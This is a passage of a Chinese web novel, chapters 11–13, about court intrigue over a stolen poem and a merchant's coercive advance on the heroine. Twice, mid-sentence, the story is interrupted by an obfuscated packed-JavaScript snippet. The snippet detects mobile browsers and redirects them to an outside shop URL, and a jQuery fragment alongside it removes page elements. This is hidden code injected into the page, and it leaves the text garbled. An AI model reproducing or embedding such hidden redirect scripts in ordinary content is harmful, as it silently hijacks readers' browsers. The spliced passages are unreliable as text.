故,霁王未没有当众驳他面子,而是挥手允了。 夜色空濛,箫声袅袅。 季知节素衣如雪,翩然而至。 箫声流转间,她广袖拂开似推开江上连潮,纤腰欲折宛若垂柳拂过滟滟波光。 正当此时,清越歌声自她身后响起—— 江雪融身穿一袭水蓝襦裙,凝立如芙蕖出波,将千古绝唱《春江花月夜》娓娓道来: 春江潮水连海平,海上明月共潮生。 滟滟随波千万里,何处春江无月明! 江流宛转绕芳甸,月照花林皆似霰。 空里流霜不觉飞,汀上白沙看不见。 江天一色无纤尘,皎皎空中孤月轮。 江畔何人初见月?江月何年初照人? 人生代代无穷已,江月年年望相似。 不知江月待何人,但见长江送流水。 白云一片去悠悠,青枫浦上不胜愁。 谁家今夜扁舟子?何处相思明月楼? 可怜楼上月裴回,应照离人妆镜台。 玉户帘中卷不去,捣衣砧上拂还来。 此时相望不相闻,愿逐月华流照君。 鸿雁长飞光不度,鱼龙潜跃水成文。 昨夜闲潭梦落花,可怜春半不还家。 江水流春去欲尽,江潭落月复西斜。 斜月沉沉藏海雾,碣石潇湘无限路。 不知乘月几人归,落月摇情满江树 两人珠联璧合,将江南文采风流发挥到了极致,众人看得呆了,听得醉了,物我两忘,恍然不知身在人间。 时毓眼眶一热,泪水无声滑落。 她庆幸自己将这首千古绝唱赠予了季知节。 虽然不知季知节为何又给了江雪融——其实也不难猜,到了这紧要关头,大家同气连枝,只想生存而已。季知节善舞不善歌,江雪融善歌不善舞,两个人协作,彼此衬托,相得益彰。 老祖宗留下的瑰宝,在她们演绎中得到了最完美的诠释,在这异世的夜空下熠熠生辉。 北方官员们挑剔不了一句。 南方官绅各个扬眉吐气。 最得意的,当然是徐员外——时毓摸准了霁王的脉,季、江二人一举成名,就算没被霁王选中,往后必能派上大用场。 霁王到底见多识广,并未对她二人表现出多大的兴趣,独独欣赏这首词。他命人即刻誊抄词稿,并邀请作者月下对饮,共赏诗韵。 歌是江雪融所唱,徐员外此前又一直鼓吹她是自作自唱的才女。在众人心中,这作者非她莫属。 因此,这邀约的意味不言自明。 孤男寡女月下对饮,从诗词谈到人生,从案几谈到寝榻,实在是再自然不过的发展。 这般结果,已是南方官绅和徐员外共同期盼的。 不过徐员外有些意外,他以为时毓稳操胜券,没想到最后胜出的竟是江雪融。 看来此前打探到的消息不虚,霁王果然更看中女子才华。 11. 第 11 章 “不管别人怎么说,诗是你作的,我能为你作证。你快去。” 霁王已经离席,派近侍太监来领人,季知节催促时毓上前。 江雪融移步挡在时毓身前,低声道:“你方才为取悦殿下,刻意效仿北人豪放之姿,由此引发南北之争。南方官绅不愿和你一样改弦更张,才请我们二人出场。我们的歌舞代表的是江南文化,此刻你若站出来认领这首词,等于背刺为你击节称赏的北方官员,更是背刺赐酒的殿下。” 接着转向季知节,“而你,你能读懂这首词吗?若殿下问起''月照花林皆似霰''的意境,或是''江潭落月复西斜''的转韵之妙,你能应对自如吗?你们都不能去,只有我能。” “可这词是时毓所作,要说意境韵律,无人比她更懂,难道你就不怕答错吗?”季知节皱眉问。 江雪融意味深长地看着时毓,笑问:“是吗?是你作的吗?” 时毓没有说话。 她不敢争。江雪融是自作自唱的才女,而她只是个平平无奇的保险销售,肚里所有诗词都是语文课上学的,能背个囫囵已算幸运。若霁王问起创作思路、诗中典故,或是与她探讨诗词格律,她必定当场露馅。到那时,恐怕会触怒霁王,连累所有人遭殃。 让江雪融去,胜算反而大些。 “让她去吧。她说的对,我已经选择了立场,不能反复。”时毓对季知节道,接着看向江雪融:“虽然我们不能去,但我也可以让你去不成。我不会这么做,既是为报答你救知节的恩情,也希望你日后得势时,帮我们逃离火坑。当然,你帮我们不会没有好处。相信我,你一定还需要我。” 江雪融含笑点点头:“放心。我比你更懂姐妹同心的力量。” 这话在季知节听来格外刺耳,上场前,她就是用这四个字,骗走了时毓给自己的诗! 她忽然抓住江雪融的衣摆,质问:“你救我,是为了哄我把诗给你吗?!” 早在两人刚结盟时,江雪融就注意到了她们的小动作。 她了解季知节的为人,季知节自视甚高,对霁王势在必得,且为人孤傲,瞧不起其他人,不会轻易与人结盟,除非,对方能帮她稳操胜券。而她唯一的对手只有自己,自己的优势正是诗词创作。那么时毓能给她的,必然是一首好诗。今日她为时毓不惜以命犯险,江雪融更加确信这是一首足以惊艳四座的佳作。 无论是出于创作者的嫉妒,还是为赢得霁王青睐,她都想得到它。 于是在徐员外要砍断季知节的腿时,她出言相救,获得季知节的感恩,时毓上场时,她带头为时毓鼓劲,取得季知节的信任,等到她们出场时,一个‘珠联璧合’的建议,就显得那么真诚,无法拒绝。 她不觉得自己无耻,是她们联合起来对付自己在先! 一步登天的名额只有一个,江雪融绝不容忍她们以这样卑鄙的方式从自己手中抢走。 “无论怎样,是我救了你。况且,如果你没有答应我的提议,就没有这样精彩绝伦的表演,霁王不会带走任何人,我们所有人,都要被徐员外发卖。”她把衣角从季知节手中扯出来。 季知节怒道:“如果你没有骗走我的诗,你我可能都没有机会,但时毓已经博得了霁王的青睐,这机会本来是她的!” “她?”江雪融嗤笑,“你的美丽果然是脑子换的。霁王怎么可能喜欢一个疯癫低俗的丑角。赐酒不过是做给本地官绅看的。他总不能让一个拍自己马屁的人,任人羞辱吧?” “你胡说……” 时毓赶忙拉住她,“算了,让她去。” 江雪融拍了拍时毓的肩膀,“你倒是个可交之人,有才华,知进退,重情义,甚至愿意为了衬托季知节扮丑。季知节之前答应你什么?成功后帮你摆脱徐员外是吗?放心,我既然借了你的诗,也会帮你这个忙。你现在就可以告诉徐员外,从今以后你是我的人,让他掂量着点,别太过分。” 你才扮丑呢!这世上又不是只有婉约美!你不懂欣赏,傲慢自大! 时毓暗自腹诽。 她实在不喜欢江雪融这般心机深沉的人,根本不想与之结交,但现在撕破脸只有坏处,没有好处,于是笑道:“那就多谢了。快去吧,别让霁王久等。” 江雪融施施然离去。 季知节脸色煞白地看着时毓。 时毓知道她在想什么,安慰道:“放心,我们才是盟友,我绝不会弃你投她。她这个人自私阴险,不可交。” 季知节咬了咬唇,恨恨道:“可我们付出了那么多,我实在不甘心。” 时毓也不甘心。 这一晚过得……从登台前毫无把握的紧张,到被南方官员群起嘲讽时的绝望,再到北方官员意外声援重燃希望,直至霁王赐酒时以为胜券在握,最后却功败垂成。 心被高高抛向云端,又狠狠摔进深渊,受尽煎熬。 更别提此前熬尽心力设计方案、反复权衡挑选盟友、赌上性命争取献艺机会、死里逃生来到行宫,历遍艰险。 本以为能借此摆脱徐员外,没想到却是为他人作嫁衣。 事到如今,她只能安慰自己,反正诗本来也不是自己的,偷东西就是会被惩罚。 “可我们不能阻拦她,反而要期待她能爬床成功,不然我们就会和徐员外一起下地狱。” 时毓轻叹一声,忽觉一道视线落在身上。她循着感觉望去,正对上中郎将顾钊的目光。 霁王方才在时如日中天,衬得众人皆黯然失色。此刻他离席而去,顾钊便如云开月现,周身气势顿时彰显无遗。 时毓这才发现,他生得俊朗不凡,身姿挺拔如松,青色武袍下隐隐可见劲瘦有力的轮廓,通身透着世家子弟特有的矜贵与凌厉——是那种会将人分为三六九等,对同侪如春风,视庶民如草芥的权贵。 他的目光看似不经意地扫过,却在与她视线相接的刹那,掠过一丝凛冽的杀意。 时毓打了个寒蝉,却灵光一闪,忽而有了新思路,当即抓住季知节的胳膊,低声道:“别担心,只要我们能随徐员外进京,机会多着呢!” * 日间一场透雨,将草草修缮的行宫打回了原形。 漏雨,透风,每个房间里都混杂着陈年霉味、刺鼻的生漆与驱不散的潮气。 人走过时,地板“吱呀”作响,门转动时,干涩的‘嘎吱’声无比刺耳。 从入驻进来,掌事宫女段琳琅便拖着病体,带着随行宫人竭力改善,直到此时还在忙碌。 “殿下宴毕将归,大家手脚再麻利些。”她裹着霁王赏赐的白鹤红披风立在廊下,面色苍白如纸,话语依旧干练。 “是!”四下里响起整齐的应答。 琳琅仰头望向梯子上的太监:“天宝,瓦缝可补实了?” “段掌事放心,奴婢已用桐油灰膏将漏处都补严实了。” “窗纸都换新了?” “殿下寝室的窗纸已全部更换,窗缝也塞了绒布条。屋里置了三盆炭灰吸潮,保证殿下回来时感受不到半分湿气。” 琳琅满意地点头:“既如此,速将炭盆撤至耳房,换上苏合香。记得开一扇窗,让香气徐徐漫开。殿下最不喜浓香扑鼻。” “奴婢这就去办。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576564|187132||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转向另外两个婢女:“丁香、腊梅,殿下今日饮了酒,备好葛花醒酒汤,用文火温着。再煮一盅杏仁茶,切记少放糖。” “掌事放心,玲珑姐姐方才已吩咐过了,都已备妥。” 琳琅回头看向始终搀扶着自己的副手,欣慰一笑:“玲珑,如今你都能想到我前头去了,再不是从前那个冒失的野丫头了。” 玲珑撅起嘴:“我还是那个野丫头。只是见姐姐病成这样还不肯歇息,恨不得能替姐姐分担所有事。” 说着竟抬手给了自己一记耳光。 清脆的响声让琳琅一惊,急忙拉住她的手,轻抚她发红的脸颊嗔怪:“你这是做什么!谁怪你了?” 玲珑红着眼低声道:“我怪自己。跟着姐姐服侍殿下六年,还是不能让姐姐安心养病。” 琳琅因食了生鱼片上吐下泻,经过太医和本地郎中诊治,刚刚止吐,却依旧浑身乏力。 她不得不倚着玲珑,轻叹道:“我不是不放心你。若在京都,处处熟悉,样样趁手,自然可以交给你。但此行在外,诸事不便,连我都担心伺候不周,又怎敢完全放手?” 她望向寝室深处那袭悬垂的王服,眼神里好像映着彩霞般神采奕奕,“殿下待下宽和,即便有所不便,也从不轻易开口,但我们不能因此懈怠。如今的殿下已非康州藩王,而是大虞的擎天之柱。若因我们的疏忽损了玉体,耽误的便是天下大事。” “我知道了。”玲珑点点头,“我扶姐姐进去,仔细学,认真记,争取早日让姐姐放心。” 琳琅欣慰地拍了拍她的手背。 两人步入内室,开始逐一检视。 柔软干燥的寝衣,霁王睡前常读的《易经》笺注,又将他惯用的那只填了决明子的菊花枕摆正。 “殿□□暖,这样的雨天,咱们盖五指厚被,他只需盖三指厚便够。” 玲珑诧异道:“殿下从不提冷热,这般细微的尺度,姐姐是如何拿捏的?” 琳琅笑道:“晨起时触碰衾被外侧的余温,侍奉更衣时留意衣领的潮气,奉茶时观察他眉宇间的松紧,这些都比言语更真切。伺候人啊,功夫全在眼色。” 玲珑满眼崇拜:“我从没见过比姐姐更细心的人,姐姐不愧是殿下身边第一贴心人,怪不得连王妃都要问过你才能……” 话没说完,霁王的贴身太监王禄快步进来,躬身行了个叉手礼:“琳琅姐姐,殿下那件绛紫蹙金披风何在?” “这么晚了要披风做什么?难道殿下要出去?”玲珑抢先问道。 王禄脸上堆着笑:“正是呢。今夜宴上有个才女歌姬很得殿下青眼,方才在亭中对了诗,此刻要带她去运河边看那‘滟滟随波千万里’的月色江景。” 没人理会他好不容易记住的一句诗。 “这么晚出去,可是得兴师动众呢。”玲珑讶然挑眉,神色怪异地看了眼琳琅:“都说江南多绝色,任是铁打的男儿也难逃这温柔乡,果然有能人。殿下从来不是风流浪荡之人,便是对那位也不曾……” “玲珑!”琳琅厉声截住她未尽之语,“披风就在我屋里的万字不断头漆箱中,速带王禄去取。” 玲珑自知失言,连忙应声领着王禄退下。 待二人脚步声远去,琳琅本就苍白的唇瓣彻底失了血色。 霁王自五年前重伤后便不近女色。虽说皇上赏赐、藩邦进献的美人照单全收,可同王妃侧妃一样,都是摆设。 就连从少时便心心念念的那一位,归来想要重修于好,他都疏远着。 今夜这是怎么了? 莫非那歌姬,是修行千年的狐狸精?! 12. 第 12 章 夜宴散罢,月沉西山。 张巨卿硬拉着困倦的杨焕文弃轿步行。 他屏退随从,亲自提灯,拉着杨焕文在泥泞中深一脚浅一脚地走着。 “焕文,曲岳那番‘制度文化皆当以北为宗’的言论,你怎么看?” “不怎么看,不过是他一厢情愿罢了。”杨焕文打着哈欠敷衍。 “可霁王给那粗鄙艺伎赐酒,分明是支持曲岳的意思。难道殿下此来,真要彻底改变江南风气?” “老哥你多虑了。”四下无人,杨焕文的称呼便随意起来,“若真如此,他怎会容季江二人登场?” “那你说,殿下为何赐酒?” 杨焕文失笑:“老哥也是过来人,怎就看不出男人心思?” 夜风拂过,张巨卿脸上一片迷茫,脚步也不自觉放慢了,“难道你想说,霁王当真钟情于她?” 其实他并非不解风情的榆木疙瘩,只是他的出身决定了他的审美,而他的审美决定了他的判断。 作为寒门士子,他苦读十年,入选门阀幕僚,之后凭恩主举荐做了官,多年来,他一直在权贵圈子边缘混迹,难免好奇窥探圈中浮华,长久窥探,耳濡目染,难免会被优雅高贵的女眷吸引。 接地气的时毓和那些养尊处优的女眷相比,是那么的低俗粗鄙,连他都看不上,霁王又怎会放在眼里? 因此他判定,霁王赐酒,只有政治目的,绝无私心。 杨焕文则不同,虽然他没有贵族身份,但他父亲是江南东道刺史的幕僚,自小家境优渥,他母亲妹妹也常与贵族女子打交道,他知道那些浮华背后的空洞无趣,也不喜欢高傲的才女。 作为晋陵首屈一指的青年才俊,他习惯被追捧,也喜欢被追捧。只是追捧他的人,要么有才无貌,要么有貌无才,无一符合他的幻想。 而时毓,才貌双全,鲜活有趣,完美符合。他把自己代入霁王,简直不知道多愉悦。 “当然喜欢。难道你没发现,在她出场前,霁王倦容满面,可她一上场,霁王就睁开了眼,随后坐直了身子,全程没挪开过眼,且一直隐含笑意。我想,他一定很久没遇到这般炽烈鲜活的女人了。 虽然送到他跟前的女人很多,皇上赐的、藩国贡的、臣子献的,可敢把爱意如此直白表达出来,恐怕绝无仅有。那些女人把他当摄政王,敬他畏他爱他,想要得到他的宠爱,生怕为他所不喜,于是小心试探、故作矜持、欲语还休,这般矜持含蓄,原也动人,可他日理万机,哪有闲情陪她们猜这风月谜题? 而此女,是把他当作英雄来爱的。她爱他‘坚心向上’,慕他‘英勇无敌’。这份情意是如此的炽烈纯粹,以至于她要不顾一切地大声喊出来——你没见徐员外当时的脸色,如丧考妣!对男人而言,这样的赤心爱慕是征服天下附带的战利品。叫他如何视而不见?如何不欢喜?” 张巨卿深深地不以为然:“荒谬!她那根本就是冒犯!试想,若你家隔壁那疯癫妇人当街敲锣,逢人便说要嫁你为妻,你当作何感想?” 杨焕文不疾不徐地拂了拂衣袖:“你这比喻不恰当。那疯女神志不清,衣不蔽体,岂能与这般明眸皓齿、才情出众的女子相提并论?在我看来,连十二姝也不能与其争锋。她是繁星中的皓月,光芒不可忽视。” 他想了想,伸手敲了敲张巨卿心窝,打趣道:“咱们换个比喻。你试想,若是前太守家的千金,当着满城百姓的面赠你一首定情诗,直言慕君秉直公正,非君不嫁,老哥你作何感受?” 前太守正是徐氏子弟,破城之日被霁王斩杀于城门口,其千金也被暴民屠戮。 张巨卿曾偷偷爱慕她,这个比喻令他恼羞成怒:“你这比喻才荒谬!区区一个艺伎,怎配和太守之女相提并论?!” 说罢甩袖而去。 不仅能比,而且胜过太多。杨焕文心道。他回味着她的表演,不禁哼唱了几句,待灯笼的暖光渐行渐远,周身没入夜色,才匆匆追去道歉。 两人在沉默中走出十余步,张巨卿忽然止步,似是不甘认输般再次发问:“若如你所言,后来霁王为何选中了江姑娘?” 杨焕文看着他深深叹了口气。 张巨卿感到莫名其妙:“何故叹气?” “我叹霁王对大人一片拳拳爱护之意,大人竟没领会到。” “何解?” “公孙先生提议让季江二人单独献艺,霁王询问你的意见,为的便是让本地士绅绅承你恩情——之前霁王让你在晋陵办学培养寒门子弟,只因公孙先生暗中阻挠,没有夫子应教,咱们这学馆迟迟没有落地,而经过这一事,公孙先生态度大变,离开行宫时主动对你行大礼,想必之后办学之事必有转机。” 公孙先生乃晋陵士林魁首,其门生遍布江南官场。以往朝廷选官,用的事九品中正制,其核心在于由各地‘中正官’评定人才,向上推荐。此制度历经演变,最终为世家门阀所把持,导致‘上品无寒门,下品无士族’,官场脉络尽数操控于门阀之手。 五年前南方门阀举兵失败,江南官场经历了一场彻底的清洗。为迅速填补空缺、培植新一代忠于朝廷的官员,从而完全掌控江南,霁王决意推行科举取士,以期彻底取代旧制。而开办官学,正是为科举选拔、培养寒门人才的根本大计。 然而,此举直接触动了公孙先生的核心利益。 从前他通过举荐门生入仕,维系着庞大的官场人脉与影响力。若官学成立、科举大兴,他的话语权必将被大幅稀释。因此,他暗中阻挠,放出风声:谁敢赴官学任教,便是与整个江南士林为敌。 张巨卿对他毫无办法。 夜宴上,曲岳在夜宴上那番‘制度文化皆当以北为宗’的言论,让公孙先生感受到了巨大的危机:北人掠夺了江南财富还不够,还要阉割江南灵魂,要让江南人说北话,听北歌,看北舞! 若真发生,那他不仅会失去‘学阀’地位,连赖以生存的文化沃土,都将不复存在。 他决不能任由北风南渐! 当他提议让季江二人献艺时,心中是非常忐忑的,怕触怒那位双手沾满江南人鲜血的摄政王,更怕满座无人响应,孤掌难鸣。 所幸,张巨卿是个有操守的官员,他敢于背弃提拔他的恩主,挺身维护江南文化,何其令人欣慰! 正因如此,离宫时他对张巨卿行大礼,既是感谢又是钦佩。 从此,他将不再对抗张巨卿,而是与之联手,守住江南最后一道防线。 “原来如此!”张巨卿恍然大悟。 经杨焕文点破其中关窍,他终于明白,霁王是如何兵不血刃,巧妙而不着痕迹地化解了,困扰了自己五年之久的难题,不由感到万分钦佩。 然而越是钦佩,就越发不能苟同杨焕文先前的观点。 “殿下如此英明神武之人,岂会喜欢那般粗鄙卑贱之艺伎?便是后来带走的那位歌姬,他也不会放在眼里。”他斩钉截铁道,“他心中只有社稷苍生,此二女不过是收服公孙先生的棋子而已。不信咱们赌一把,他一定不会把任何一个带回京。” 杨焕文仰头望天,哭笑不得。 “太守大人!”他换了称谓,神色肃然:“下官若是您,绝不会坐观事态。殿下对您如此包容提携,这份恩情青史难寻,当思报答。” “自然!”张巨卿迎风昂首,正色道:“本官已决意,明日便呈报王爷,三月之内必让官学落地!” “这算哪门子的报答,不过你我为官之本分!”杨焕文急得跺脚:“你想想,殿下不仅解决了咱们的难题,更处处体恤,从迎驾到夜宴从未令我们为难。我们难道不该投桃报李,也让殿下顺心遂意?” 张巨卿一时语塞。霁王确实是千古明主,可恪尽职守、鞠躬尽瘁不就是作为臣子最好的报答? 难道像徐员外那般才算? 可是金银珠宝、香车美人,这些俗物他拿不出,霁王也看不上。要说令他舒心,他身边侍从好几百,自将他的日常 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此刻他心里应该既得意又兴奋,终于摆脱了这个彪悍善妒且丑陋的女人,终于可以进京大展宏图了! 她怀疑,他会在徐太太的灵堂甚至棺材板上,将长期压抑的扭曲欲望发泄出来,作为对徐太太的报复和羞辱。 她神经紧绷,大脑高速运转,反复权衡:事到如今,霁王这根高枝是彻底攀不上了,是不是只剩下委身于他这一条路了? 血色帷幔被夜风卷起,一下下拍打着徐员外的肩,宛若逝者徘徊不去的魂灵,仍如生前那般执着地,想要唤他一次回眸。 看着那片刺目的红,时毓想起了丢失的另一片帷幔。一个男人将它扯下,裹住了衣不蔽体、瑟瑟发抖的自己。 他虽然是来报仇的,却没有被仇恨蒙蔽双眼,对无辜之人心存善意,他失去了尊贵的身份,却没失去心中道义和绅士品格。 他是她穿越以来,见过的唯一一个配得上君子二字的人。 他说,若姑娘平安归来,池某定当三媒六聘,迎你过门。 他留下了玉圭,也留下了承诺。 ‘三里外,杨柳浦,寅时三刻’。 现在去好像还来得及。 可一旦去了,就会成为叛贼和杀人犯的同伙,过了今天不知道有没有明天。 一旦被抓就更惨了,这个时代,炮烙、腰斩、凌迟这些酷刑俱在,光是想想就令人胆寒。 相较之下,委身于胖老头固然恶心,至少性命无虞——只能说短期内如此,因为不知道哪一天,他就需要新的垫脚石。 今晚她也算间接帮他拿到了进京的资格,只要让他相信,她能帮他在京城站稳脚跟,就能随他一起进京。进京后就有更多机会摆脱他,甚至飞黄腾达。 这样分析下来,做徐员外的玩物是目前最好的选择。 那么,早晚、在哪儿,又有什么区别? 反正抵抗也会被强,白白受罪。不如接受现实,反正老头子这个年纪也持久不了,眼一闭,牙一咬,数个一二三四五就过去了。 完事之后,说不定还能趁天没亮,偷偷把狗儿放走。 她刚做好心理建设,徐员外便装模作样地擦了擦眼泪直起身,吩咐管家:“明日一早你便将今夜之事上报衙门,就说霁王殿下已亲自过问,若缉不到凶手,唯他们是问!另外,霁王驻跸期间,不得举丧。但死者为大,你且先寻稳妥处将众人暂行安置,待殿下启程后再行发丧。太太的丧仪要隆重操办,先将她那口陪嫁棺木请至前厅停灵。其余人各自回房歇息,不得随意走动。再加派一倍人手,护卫季姑娘等人。” 管家连声应下。 众人鱼贯而出。时毓正欲混入人群离去,忽闻徐员外唤道: “时毓留下,为太太整理遗容,更换寿衣。” 她心头一沉——这急色鬼,还真是不让人意外。 13. 第 13 章 众人散去,充满血腥味的房间里只剩下时毓、觊觎她良久的徐员外,以及,防她到死前最后一刻的徐太太。 烛台上的小火苗被忽大忽小的诡风吹得明灭不定,将血色帷幔的影子拉长、扭曲,如张牙舞爪的鬼魅,悄然缠上时毓的裙角。 徐员外箕坐于地,背对着亡妻的尸身,目光空洞地落在摇曳的影子上。 他下午才回来换的新衣服皱了,脸颊上被挠破的地方蹭了些血,一缕头发凌乱地垂下来。 “过来,”他哑声道,“陪我说说话。” 时毓神经紧绷着,不敢动,也不敢说话。 徐员外抬头看过来,满是红血丝的眼睛里,带着一丝祈求。 就好像一旦拒绝,他就会彻底崩溃。 但时毓知道,他不会崩溃,他只会翻脸。 她踩着那团影子,小心翼翼地坐到他身边,中间隔着大约一肩的距离。 他不以为意,狠狠搓了把脸,语调苍凉而疲惫:“我与阿蛮,从一开始便是孽缘。以我的出身,原本不配娶她。十五岁那年,我随父亲进京办事,在洛水河畔撞见投水的阿蛮。我跳下去救她,她说她被人退了婚,没脸面活在这世上,不肯上来。我劝她说,退婚而已,再找一个更好的郎君不就行了吗?她说未婚夫为了退婚攀高枝,污蔑她行为不检,京城无人要她,除非我答应娶她,否则宁沉江底。我原想先哄她上岸再说,便答应了,谁知道从此被她缠上了。而我父亲得知她出自陇西顾家,硬逼我娶她。次年春,我被迫娶了这位长我五岁的顾家女。” 时毓能感受到他的情绪,却默默听着,并不言语。 之前在假山中扮做解语花,是为了套近乎,哄他送自己去献艺。 此刻若再那样,无异于引火烧身。 坐的这样近,她能清晰得嗅到他身上的味道,香得发腻,令人作呕。 一想到这幅肥腻的身体要在自己身上抽动,她就感到无比烦躁。 “我这一支在徐氏本是旁系末流,家父唯一的营生,便是为前任太守奔走京城,给那些做官的徐氏子弟送礼。那些人论辈分小,年纪轻,却个个能把他训得抬不起头。我从十岁跟着他往来奔波,尝尽人情冷暖。他总说,要学会忍,忍得饥寒可立品。我们徐家的先祖,正是凭着这份隐忍,才从微末中挣出偌大家业。他还说,这世道是公平的,只要愿意付出,不懈进取,终有一日能得想要的一切。 可惜年轻时我不懂这些道理。为娶了个别人不要的妻子羞愤难当,萎靡不振,甚至与父亲断绝往来。 后来父亲不慎得罪了左仆射谢正甫的管家,身陷囹圄,我求遍京中徐氏亲族,无人援手,最后狼狈回到晋陵,跪在前太守府前,苦求他出面周旋,他却说……” 他喉结滚了滚,声音里压着铁锈般的涩意:“谢氏在朝中权势如日中天,而且谢家皇后和徐家贵妃素来不和,不愿意为我等偏支再加深两族矛盾。” 说到这儿,他猛地攥紧了拳头,呼吸也粗重了几分:“我在那儿跪了整整一夜,风雪吹在脸上像刀子割。我恨啊!恨自己身处末流却不争先,像蝼蚁一样任人踩!从那天起我就发誓,此生必执权柄,教这世上,再无人敢轻我、辱我、弃我!” 时毓垂眸,掩去眼底一抹讥诮。 他前半生的遭遇固然可悲可叹,若不走偏,也未尝不能成一段励志佳话。可他选择踩着全族尸骨登高,便为天下不容,注定生前身后骂名滚滚。 不过,他这种人,应该不会在乎身后评说。 “后来阿蛮孤身返京,说服顾家出手,家父方得脱困。彼时我才见识到顾氏之权势,亦知其族人团结、寸利必争,是其能在京都盘踞不倒的原因。自那时起,我便立誓,终有一日,要令徐氏亦成那般气象。” 他的拳头握起来,眼底迸出灼热的光:“想要改变徐氏,就要成为徐氏执牛耳者。为了借助顾家的权势往上爬,也是因为报阿蛮救父之恩,我试着跟她好好过日子,年年陪她回顾家。她父兄都不在了,只剩老母和寡嫂,但岳母对我们很好,为了讨她老人家欢心,也为了让孩子们跟顾氏绑得更紧,我干脆把几个孩子都送到岳母膝下抚养,还把最小的儿子改了顾姓。” 提及此处,他唇边掠过一丝难以察觉的讥诮:“阿蛮为此深为感动,致信京中密友,自言嫁得良人。她那几位密友,皆嫁入高门,后来皆成我登云之阶。” 贤妻扶你上青云,你却将她碾作尘。 时毓忍不住感慨,徐太太真是命苦。出身显赫,早年订了一门好亲事,大概因为出嫁前丧父丧兄,惨遭退婚。在这个女子名声大过天的时代,被退婚的女人几乎无路可走。她在濒死边缘被徐员外救起,还以为遇到了救世主,却没料到,那是吞噬她灵魂的恶魔。 他只给过她虚假的荣光和她短暂的温暖,就换她一生沉沦。 时毓想起他亲口说过,已有二十多年没进过她的房门,越发同情徐太太,这是多么可怕的冷暴力啊! 他叹了口气,语气里带着几分哀婉:“阿蛮其实是个好妻子。不管我们之间闹得多僵,哪怕她用最恶毒的话骂我,我也知道,她心里是盼着我好的。今夜府里出事,她本有机会逃生,却没派人来向我求救,我知道,她是怕我这么多年的心血功亏一篑。她盼着我一举成功,带她荣归京都。夫妻一场,到了这个年纪,大抵就只剩这点荣辱与共的情分了。” 只剩一点荣辱与共的情分吗? 时毓听得心里暴躁。 所以她为你付出了那么多,连性命都能舍弃,你守着她的尸身,却连一句‘爱过’都不肯说。 先前在假山中,你还曾对我许诺‘若能跟着霁王回京都,带你同去’,当时你把一心渴盼荣归故里的徐太太放在哪里? 实在是太凉薄了。 时毓盯着那随风狂舞的帷幔,想着:老登为什么要对我说这些?难不成是想告诉我,他这辈子从没爱过,所以想让我帮他弥补这个‘遗憾’? 一只胳膊忽然搭上她肩膀。 “时毓,你是个善解人意、蕙质兰心的姑娘,我想你一定能理解我的苦楚。”徐员外把她朝怀里一带,款款说道:“阿蛮帮我,不过是因为我们利益一致,而且她根本没有是非观,只要是对我有利的事,哪怕是捅破天她也肯做。可她不懂我,不懂我为什么非要争这口气,不懂我想要的到底是什么。这世上,只有你懂我,往后也只有你能帮我。” 那只肥厚的手掌放肆地揉搓着她的肩膀,他把发烫的额头抵在她鬓边,呼出的气息裹着浓重的酒臭与甜腻熏香,一股脑喷在她的下颌与脖颈上,激得时毓浑身汗毛倒竖。 “今日你在假山中对我说的那些话,知道我有多震撼吗?你的见识格局远超当世,若是有你这样的主母教养徐家的孩子,徐氏必定能再度辉煌!别怪我当时没有护住你,我是太自责了,恨我还是那么渺小无能,才让你不敢全心托付。我想,只有跟着霁王进京平步青云,才有资格拥有你。如今我成功了,你害怕的人也已经不在了,就放心跟了我吧,我保证让你一辈子享尽荣华富贵!” 果然。 说了这么多,真的是为了上床做铺垫! 男人的脑回路真是非令人匪夷所思,他们怎么能把女人想得那么蠢! 在亡妻尸身旁示爱新欢,你不会指望我感动吧?得是什么变态才会因为赢了死人而高兴啊! ‘有你这样的主母’? 您老人家刚刚才抱着亡妻发誓终身不续弦吧?你不会觉得我会相信你骗他们不骗我吧?得傻到什么地步才能像相信你这番鬼话啊? 精虫把脑子吃掉了吗?! 即便是做足了心理建设,时毓发现自己还是忍不了一点。 她宁可在外面流浪,也不要当这种人的玩物! 她强压着一脚踹翻老鳖盖的冲动,低眉顺首道:“员外,此刻庆功未免太早。至少要等到霁王许个一官半职,进京才有意义。此刻江雪融不过初得青睐,枕头都还没挨上,更谈不上吹枕边风。员外要做的还有很多呢,我们不妨先规划一下,下一步该怎么做……” 徐员外早已□□攻心,一边将她越箍越紧,撅着嘴在她颈间乱拱,一边含糊道:“霁王用人之道,岂会受枕边风左右?以他的心性,天仙也吹不动。老夫早琢磨透了,他又是赐酒又是赏诗,无非是要让天下人看见,他要用老夫!你且放心,快则明日,慢则殿下离城前,任命必下。” 时毓脸颊耳后沾满了他的口水,恶心得浑身发抖,恨不得将他锤成肉泥方能解恨。一边极力阻挡袭胸的脏手,一边在地上胡乱摸索武器。 当她终于摸到一件趁手的,想也不想便挥臂而起,朝着老登的后脑狠狠砸去。 然而就在那东西映入眼帘时,她头皮一麻,过电一般甩了出去—— 是徐太太日常用来捶肩的玉杵! 这东西原本在这里吗?怎么感觉就像有人悄悄递到她手里一般。 难道徐太太的鬼魂在引导她把徐员外送下去?! 就在这时,一阵若有若无的啜泣声自身后幽幽传来。 那哭声哀婉凄切,如丝如缕,在寂静的室内格外清晰,声声唤着的正是:“徐郎……” 徐员外的动作猛地僵住,脖颈僵硬地抬起,侧耳细听。 “徐郎……你好狠的心呐——” “徐郎……黄泉路上好冷,你来陪我可好——” “徐郎……你永远是我一个人的,谁都不能将你抢走——” 没幻听! 确实有一道尖锐空灵的声音,好似是从地缝里钻出来的! 徐员外浑身剧颤,猛地扭头看向身后。徐太太的尸身仍静静躺着,可纸窗上竟映出一道与她身形无二的侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 